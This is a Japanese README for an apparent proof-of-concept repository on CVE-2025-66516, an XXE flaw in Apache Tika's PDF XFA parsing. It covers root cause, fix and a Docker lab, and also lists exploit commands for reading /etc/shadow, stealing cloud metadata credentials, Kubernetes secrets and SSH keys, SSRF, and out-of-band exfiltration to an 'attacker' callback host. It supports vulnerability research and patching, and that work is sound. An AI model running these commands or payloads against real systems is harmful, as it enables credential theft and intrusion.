
CVE-2025-66516 動作するエクスプロイト、スキャナー、説明。
CVE-2025-66516 は、Apache Tika における重大な XML 外部実体参照 (XXE) インジェクションの脆弱性であり、CVSS スコア 10.0(最大深刻度)です。この脆弱性により、リモートの攻撃者は、悪意のある XFA (XML Forms Architecture) コンテンツを含む特別に細工された PDF ドキュメントをアップロードすることで、任意のファイルの読み取り、Server-Side Request Forgery (SSRF) の実行、機密データの外部送信が可能になります。
| 属性 | 値 |
|---|---|
| CVE ID | CVE-2025-66516 |
| CVSS スコア | 10.0(重大) |
| 公開日 | 2025年12月4日 |
| ベンダー | Apache Software Foundation |
| 影響を受ける製品 | Apache Tika |
| 攻撃ベクトル | ネットワーク(リモート) |
| 認証 | 不要 |
| コンポーネント | 脆弱なバージョン | 修正版 |
|---|---|---|
| tika-core | 1.13 - 3.2.1 | 3.2.2+ |
| tika-parser-pdf-module | 2.0.0 - 3.2.1 | 3.2.2+ |
| tika-parsers | 1.13 - 1.28.5 | 2.0.0+ |
重要: この CVE は、PDF モジュールのみが脆弱であると誤って特定していた CVE-2025-54988 を置き換えるものです。実際の脆弱性は tika-core に存在します。
この脆弱性は、Apache Tika が PDF ドキュメント内の XFA (XML Forms Architecture) データを処理する方法における XML 外部実体参照 (XXE) インジェクションの欠陥です。
問題点: Tika は、XFA XML コンテンツを読み取るために、基盤となる Java XML パーサー(具体的には StAX パーサー)に依存しています。脆弱なバージョンでは、外部実体の解決を無効にするようにパーサーを正しく設定できていませんでした。パーサーが外部実体リクエスト(SYSTEM "file:///etc/passwd" など)に遭遇すると、それを解決してファイルの内容を返します。
場所: このバグは tika-core の XMLReaderUtils.getXMLInputFactory() に存在します:
public static XMLInputFactory getXMLInputFactory() {
XMLInputFactory factory = XMLInputFactory.newFactory();
tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER); // <-- Ineffective
return factory;
}
IGNORING_STAX_ENTITY_RESOLVER は、空の結果を返すことで XXE をブロックすることを意図していましたが、期待される InputStream ではなく String を返していました。JDK のデフォルト StAX パーサーは、この誤った戻り値の型を暗黙的に無視し、外部実体を解決するデフォルトの動作にフォールバックしました。
この修正では、ファクトリーレベルで DTD と外部実体のサポートを明示的に無効にします:
tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
さらに、リゾルバーは適切な InputStream 型を返すように変更されました。
Java エコシステムには、複数の XML パーサーライブラリが存在します。アプリケーションは、クラスパス上で設定されているか、最初に見つかったパーサーを使用します。
Woodstox とは何か? Woodstox は、Java アプリケーションに一般的にバンドルされている、高性能なオープンソースの StAX XML パーサーです。
保護の仕組み: 偶然ではなく設計により、Woodstox の実装は XMLResolver の戻り値の型を正しく処理します。Woodstox が IGNORING_STAX_ENTITY_RESOLVER から文字列の戻り値を受け取ると、それを有効な空コンテンツとして扱い、XXE を効果的にブロックします。
重要な違い:
tika-server-standard.jar は Woodstox をバンドル - 脆弱ではないtika-core + パーサーモジュール(組み込み利用)は Woodstox をバンドルしない - 脆弱# 1. Start the lab environment
docker-compose up -d --build
# 2. Test against vulnerable Tika (JDK StAX, port 9997)
python poc/exploit.py --url http://localhost:9997 --check
# 3. Extract /etc/passwd
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd
# 4. Compare with protected Tika (Woodstox, port 9998)
python poc/exploit.py --url http://localhost:9998 --check
CVE-2025-66516/
|-- docker-compose.yml # Lab orchestration
|-- vulnerable-tika/
| |-- Dockerfile # Tika with Woodstox (protected)
| +-- Dockerfile.jdk-stax # Tika without Woodstox (VULNERABLE)
|-- webapp/
| |-- Dockerfile
| |-- app.py # Flask upload application
| +-- templates/
|-- poc/
| |-- exploit.py # Automated exploitation tool
| +-- generate_payload.py # Malicious PDF generator
+-- README.md
docker-compose up -d --build
exploit.py)自動ペイロード生成とデータ抽出によるフルチェーンエクスプロイト。
# Check if target is vulnerable
python poc/exploit.py --url http://target:9998 --check
# Read local files
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow
# AWS metadata theft (EC2 instances)
python poc/exploit.py --url http://target:9998 --aws-metadata
# Kubernetes secrets
python poc/exploit.py --url http://target:9998 --k8s-secrets
# SSRF to internal services
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin
# Save extracted data
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt
generate_payload.py)手動テストや他のツールとの統合のための悪意のある PDF ファイルを生成します。
# Generate payload for specific file
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf
# Generate SSRF payload
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf
# Generate OOB exfiltration payload
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf
# Use attack mode presets
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/
# List available attack modes
python poc/generate_payload.py --list-modes
利用可能な攻撃モード:
file_read - ローカルファイルを読み取る(/etc/passwd、/etc/shadow など)ssh_keys - SSH 秘密鍵を窃取するaws_metadata - AWS EC2 メタデータと IAM 認証情報gcp_metadata - GCP サービスアカウントトークンazure_metadata - Azure マネージド ID トークンk8s_secrets - Kubernetes サービスアカウントの認証情報webapp_configs - 一般的な Web アプリケーション設定ssrf_internal - 内部サービスを調査するWoodstox なしの Tika 2.9.2 に対するテスト(組み込みデプロイをシミュレート):
| テスト | 結果 |
|---|---|
| XFA 検出 | [PASS] PDF が XFA を持つものとして認識された |
| XFA 解析 | [PASS] XFA コンテンツが抽出された |
| XXE ファイル読み取り | [VULNERABLE] /etc/passwd の内容が外部送信された |
| XXE SSRF | [VULNERABLE] 外部リクエストが送信された |
悪用の証明:
<li fieldName="data">data: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
Woodstox ありの Tika 2.9.2 に対するテスト(標準の tika-server-standard.jar):
| テスト | 結果 |
|---|---|
| XFA 検出 | [PASS] PDF が XFA を持つものとして認識された |
| XFA 解析 | [PASS] XFA コンテンツが抽出された |
| XXE ファイル読み取り | [BLOCKED] 外部実体が解決されなかった |
| XXE SSRF | [BLOCKED] 外部への接続なし |
出力は空のエンティティを示します:
<li fieldName="data">data: </li>
この脆弱性は現実のものであり、深刻です。悪用可能性は StAX 実装に依存します:
tika-server-standard.jar - バンドルされた Woodstox が XXE をブロックXXE は根本的には ファイル読み取り/SSRF の脆弱性であり、直接的な RCE ではありません。ただし、いくつかの攻撃経路を可能にします:
| 攻撃 | ペイロード例 |
|---|---|
| ファイル読み取り | SYSTEM "file:///etc/passwd" |
| SSRF | SYSTEM "http://internal:8080/admin" |
| AWS メタデータ | SYSTEM "http://169.254.169.254/latest/meta-data/" |
| シナリオ | 攻撃経路 |
|---|---|
| AWS EC2 | XXE -> メタデータへの SSRF -> IAM 認証情報 -> AWS CLI RCE |
| Kubernetes | XXE -> サービスアカウントトークンの読み取り -> kubectl exec |
Apache Tika をバージョン 3.2.2 以降にアップグレードする
<dependency>
<groupId>org.apache.tika</groupId>
<artifactId>tika-core</artifactId>
<version>3.2.2</version>
</dependency>
すべての Tika コンポーネントが更新されていることを確認する(tika-core とパーサーモジュールの両方)
| デプロイタイプ | リスクレベル |
|---|---|
| tika-server-standard.jar | 低 - Woodstox が緩和 |
| 組み込み Tika(ライブラリ利用) | 高 - 脆弱である可能性が高い |
| Woodstox なしのカスタム | 高 - 脆弱 |
問題 1: 最初のエクスプロイトは動作しなかった
問題 2: 複数の XML 宣言エラー
WstxParsingException: Illegal processing instruction target ("xml")問題 3: Woodstox の謎
問題 4: 間違った構成でのテスト
| 日付 | イベント |
|---|---|
| 2025年8月 | CVE-2025-54988 が公開(範囲が不完全) |
| 2025年12月4日 | CVE-2025-66516 が公開(完全な範囲が特定) |
| 2025年12月4日 | 修正を含む Apache Tika 3.2.2 がリリース |
このラボ環境と概念実証コードは、認可されたセキュリティテスト、教育目的、および防御研究のみを目的として提供されています。
明示的な書面による許可なしに、これらのツールをシステムに対して使用しないでください。
この研究資料は教育目的で提供されています。責任を持って使用してください。
| サービス |
|---|
| ポート |
|---|
| 説明 |
|---|
| Web アプリケーション | 8080 | ドキュメントアップロード用フロントエンド |
| Tika (Woodstox) | 9998 | 保護あり - 脆弱ではない |
| Tika (JDK StAX) | 9997 | 脆弱 - Woodstox なし |
| 攻撃者リスナー | 9999 | OOB テスト用 HTTP サーバー |
| 内部 Jenkins | XXE -> スクリプトコンソールへの SSRF -> Groovy RCE |
| データベース | XXE -> 設定ファイルの読み取り -> データベースアクセス |
| SSH | XXE -> SSH 鍵の読み取り -> リモートシェルアクセス |